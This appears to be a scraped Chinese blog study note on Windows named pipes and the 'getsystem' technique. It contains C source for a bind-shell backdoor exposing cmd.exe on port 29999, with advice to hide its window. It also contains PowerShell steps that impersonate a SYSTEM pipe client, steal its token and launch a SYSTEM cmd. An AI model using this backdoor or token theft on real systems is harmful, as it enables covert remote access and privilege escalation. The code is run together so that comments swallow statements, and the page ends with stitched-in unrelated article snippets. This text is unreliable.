Windows命名管道&getsystem原理学习记录

2023-11-11

前言

出品|博客(ID:moon_flower)

以下内容,来自博客的moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

命名管道基础

是可以单向或双面服务器和一个或多个客户端之间进行通讯的管道,命名管道的所有实例拥有相同的名称,但每个实例都有自己的缓冲区和句柄,用来为不同客户端通讯提供独立管道。

命名管道的名称在本系统中是唯一的。
命名管道可以被任意符合权限要求的进程访问。
命名管道只能在本地创建。
命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。
命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。

列出当前计算机上的所有命名管道(powershell):

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

管道实现简单shell后门

一个正向 shell,被控者本地监听一个端口,由攻击者主动连接。

执行后CMD将输出写入另一个管道,buffe从另一端读取后,通socke发送给 hacker。

window管道分为命名管道和匿名管道,其中匿名管道只能实现本地机器上两个进程的通信,通常用于父进程和子进程之间传送数据,这里采用匿名管道实现。

代码(网上的代码有各种奇奇怪怪bug,最后写出来的也是个代码健壮性几乎为0的东西,但当作学习还是勉强能冲

#include <stdio.h>#include <winsock2.h>#pragma comment (lib, "ws2_32")int main(){    WSADATA wsa;    WSAStartup(MAKEWORD(2, 2), &wsa); // 创建 TCP 套接字    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 绑定套接字 sockaddr_in sock; sock.sin_family = AF_INET; sock.sin_addr.S_un.S_addr = INADDR_ANY; sock.sin_port = htons(29999);    bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR)); // 设置监听 listen(s, 5); // 接收客户端请求 sockaddr_in sockClient; int SaddrSize = sizeof(SOCKADDR);    SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize); // 创建管道 SECURITY_ATTRIBUTES sa1, sa2;    HANDL hRead1, hRead2, hWrite1, hWrite2; sa1.nLength = sizeof(SECURITY_ATTRIBUTES); sa1.lpSecurityDescriptor = NULL;    sa1.bInheritHandle = TRUE; sa2.nLength = sizeof(SECURITY_ATTRIBUTES); sa2.lpSecurityDescriptor = NULL;    sa2.bInheritHandle = TRUE; CreatePipe(&hRead1, &hWrite1, &sa1, 0);    CreatePipe(&hRead2, &hWrite2, &sa2, 0); // 创建用于通信的子进程 STARTUPINFO si;    PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; // 为了测试设置 SW_SHOW 实际上应该用 SW_HIDE si.wShowWindow = SW_SHOW; // 替换标准输入输出句柄 si.hStdInput = hRead1; si.hStdOutput = hWrite2;    si.hStdError = hWrite2;    char* szCmd = "cmd"; CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); unsigned long dwBytes = 0; BOOL bRet = FALSE; const int MAXSIZE = 0x1000;    char szBuffer[MAXSIZE] = "\0"; while (TRUE) { ZeroMemory(szBuffer, MAXSIZE);        bRet = PeekNamedPipe(hRead2, szBuffer, MAXSIZE, &dwBytes, 0, 0); if (dwBytes) { ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL); printf("send:%s", szBuffer); int len = strlen(szBuffer); int iCurrSend = send(sc, szBuffer, len-1, 0); // 不知道为什么不-1的话链接会直接断掉 if (iCurrSend <= 0) { printf("send error %d", WSAGetLastError()); goto exit; } } else  { dwBytes = recv(sc, szBuffer, 1024, 0); if (dwBytes) { printf("recv:%s", szBuffer); WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL); } } }exit: closesocket(s); CloseHandle(hRead1); CloseHandle(hRead2); CloseHandle(hWrite1); CloseHandle(hWrite2); WSACleanup(); return 0;}

getsystem原理

命名管道有一个特点,就是允许服务端进程模拟连接到客户端进程。可以利用Impersonate-NamedPipeClient这个API,通过命名管道的服务端进程模拟客户端进程的访问令牌,也就说如果有一个非管理员用户身份运行的命名管道服务器,并有一个管理员的进程连接到这个管道,那么理论上就可以冒充管理员用户。

API 的官方描述:

When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function

使用的限制条件(满足其一):

1.请求的令牌模拟级别小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
2.调用方具有 SeImpersonatePrivilege 权限(通常需要 admin 用户)
3.一个进程(或调用者登录会话中的另一个进程)通过 LogonUser 或 LsaLogonUser 函数使用显式凭据创建令牌。4.经过身份验证的标识与调用方相同。

1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2.创建一个进程,并让进程创建命名管道。
3.让之前的以system权限启动的程序启动并连接这个命名管道。
4.利用ImpersonateNamedPipeClient()函数生成system权限的token。5.利用system权限的token启动cmd.exe。

通过 sysmon 可以看到一部分的实现:

这里先创建了一named pipe security object ,并实例化了命名管道 "pipedummy",关联访问控制列表

$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )$PipeSecurity.AddAccessRule($AccessRule)$pipename="pipedummy"$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",10, "Byte", "None", 1024, 1024, $PipeSecurity)$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()

进入等待连接,客户端连接后就读取发来的数据

 

$pipe.WaitForConnection()$pipeReader = new-object System.IO.StreamReader($pipe)$Null = $pipereader.ReadToEnd()

然后用 system 权限连接管道(主机无法直接用 system 登录,这里用了 msf 中的 shell)。

echo test > \\.\pipe\dummypipe

(调用ImpersonateNamedPipeClient)

#we are still Attacker$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)#now  we are impersonating the user (Victim),$user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Nameecho $user# everything we do BEFORE RevertToSelf is done on behalf that user$RetVal = $RevertToSelf.Invoke()# we are again Attacker

接着可以获得线程(victim,这里是 system 权限)的令牌。

#we are Victim#get the current thread handle$ThreadHandle = $GetCurrentThread.Invoke()[IntPtr]$ThreadToken = [IntPtr]::Zero#get the token of victim's thread[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)

然后用这个令牌的身份启动一个新的进程,通过 CreateProcessWithToken API,但是这个 API 的调用需要 SeImpersonatePrivilege 权限,这也对应了前面的条件限制

$RetVal = $RevertToSelf.Invoke()# we are again Attacker$pipe.close()#run a process as the previously impersonated user$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null$processname="c:\windows\system32\cmd.exe"$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)$ProcessArgsPtr = [IntPtr]::Zero$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()echo "CreateProcessWithToken: $Success  $ErrorCode"

然后就可以看到弹出的system的cmd了

参考文献

  • https://www.anquanke.com/post/id/190207

  • https://www.anquanke.com/post/id/258286

  • https://www.anquanke.com/post/id/265507#h2-1

  • https://blog.csdn.net/qq_41874930/article/details/110001596

  • https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Windows命名管道&getsystem原理学习记录 的相关文章

随机推荐

  • 汇报措辞:你懂得怎样向领导汇报吗(审阅、审批、批阅、批示、查阅)?

    很多程序员总以为自己技术很牛自倨 不太重视与领导沟通 也不太注重汇报的方式 给领导汇报总不能让领导满意 特别是做到项目经理后 可能会感觉到汇报很难弄 总也说不到点子上 不知道汇报怎样措辞写才能让领导看了满意 其实汇报也是一门技术 需要学习才
  • 在VS中如保快速查看DLL或exe的已导出的函数

    我们知道dumpbin 可以查看dll 或 exe 的导出函数接口 具体命令格式如下 Win r 输入CMD 调出 cmd 指令窗口 输入 C Program Files x86 Microsoft Visual Studio 14 0 V
  • 【框架篇】Spring Boot 日志

    Spring Boot 日志 一 日志用途 尽管一个项目在没有日志记录的情况下可能能够正常运行 但是日志记录对于我们来说却是至关重要的 它存在以下功能 1 故障排查和调试 当项目出现异常或者故障时 日志记录可以快速帮助我们定位到异常的部分以
  • AcWing 1223. 最大比例 指数的最大公约数

    AcWing 1223 最大比例 X星球的某个大奖赛设了 M 级奖励 每个级别的奖金是一个正整数 并且 相邻的两个级别间的比例是个固定值 也就是说 所有级别的奖金数构成了一个等比数列 比如 16 24 36 54 其等比值为 3 2 现在
  • RuntimeError: CUDA out of memory. Tried to allocate 14.00 MiB (GPU 0; 6.00 G)的解决【实测成功】

    仅作为记录 大佬请跳过 仅需减小batchsize 展示 即可运行 注 博主的这个程序减小batchsize就行了 可能不同的博友们的程序不一样 也有的大佬博主使用不计算梯度或释放内存的方式 不计算梯度 传送门 with torch no
  • python学习7.1文件

    一 open 函数 1 第一个参数 文件名 2 打开方式 1 r 以只读模式打开文件 readlines 以列表形式输出 输入 file open a txt r print file readlines file close 输出 汪湾
  • vue使用threeJs导入obj模型,并添加标注

    效果图 1 安装threeJs npm install three 2 安装轨道控件插件 npm install three orbit controls 3 安装加载 obj和 mtl文件的插件 npm i save three obj
  • Java流程控制(分支结构,迭代结构,转移语句)

    1 分支结构 if else switch 2 迭代结构 while do while for 3 转移语句 break countinue return 4 while 循环 5 do while循环 6 while do while的区
  • ubuntu12.04下Qt5.6设置命令行启动方式

    本菜鸟由于不精通ubuntu 但是需要做项目使用qt 而将qt安装好后想再次打开时候却找不到qt的图标 经过半天的摸索 终于搞清楚怎么打开qt了 特此作出分享 1 方式一 找到安装目录 寻找qtcreator的文件 相当于在windows下
  • SAP ABAP 中的异步调用

    举例场景 创建采购申请的接口中 在执行完BAPI之后返回了一个PR 接着就会执行到commit提交的接口 然如果还需要在创建的时候直接审批 那么就需要再调用PR审批的BAPI 但是你会发现有的PR 在ME23N查看的时候是审批状态 而有的并
  • Android studio连接真机以及找不到设备问题解决

    一 电脑设置 1 检查必要工具是否下载 Android studio gt 右上角的立方体标志 SDK Manager gt 点击 SDK Tools 检查是否下载 Goolge USB Driver 2 驱动安装 点击下一步 gt 完成
  • OpenBlas 安装

    OpenBLAS是BLAS Basic Linear Algebra Subprograms 的优化版 OpenBLAS官网 http www openblas net OpenBLAS公开课 https www leiphone com
  • hadoop学习——flume的简单介绍

    flume介绍 概述 Flume最早是Cloudera提供的日志收集系统 后贡献给Apache 所以目前是Apache下的项目 Flume支持在日志系统中定制各类数据发送方 用于收集数据 Flume是一个高可用的 高可靠的 鲁棒性 robu
  • 记一次malloc失败的经历

    背景 在类OsBufferEntry的成员函数中 为其成员变量m SimplePingResult分配空间 结果报错了 百思不得其解 class OsBufferEntry public QObject Q OBJECT public ex
  • 用git搭建个人博客

    1 安装 Node js 2 安装 Git 3 全局安装Hexo 在命令框中输入 npm install g hexo cli 4 hexo init
  • 分布式事务在Java中的实现与优化

    分布式事务在Java中的实现与优化 分布式系统中的事务处理是一个复杂而关键的问题 随着互联网规模的不断扩大和应用场景的增多 分布式事务的需求也越来越迫切 本文将探讨在Java中实现和优化分布式事务的方法 并提供相应的源代码示例 一 分布式事
  • Error attempting to get column ‘name‘ from result set. Cannot determine value type from string

    Error attempting to get column name from result set Cause java sql SQLDataException Cannot determine value type from str
  • select()函数的作用

    select 在SOCKET编程中还是比较重要的 可是对于初学SOCKET的人来说都不太爱用select 写程序 他们只是习惯写诸如 conncet accept recv 或recvfrom 这样的阻塞程序 所谓阻塞方式block 顾名思
  • 解决windows无法启动sybase服务

    我这里是由于IP原因导致sybase服务启动不了 将sybase 服务的IP修改为本机正确的IP地址后 重启服务成功 1 启动服务报如下错误 2 启动sybase的 Dsedit Utility 3 步骤2执行后打开如下界面 可以看到4个服
  • Windows命名管道&getsystem原理学习记录

    前言 出品 博客 ID moon flower 以下内容 来自博客的moon flower作者原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 命名管道基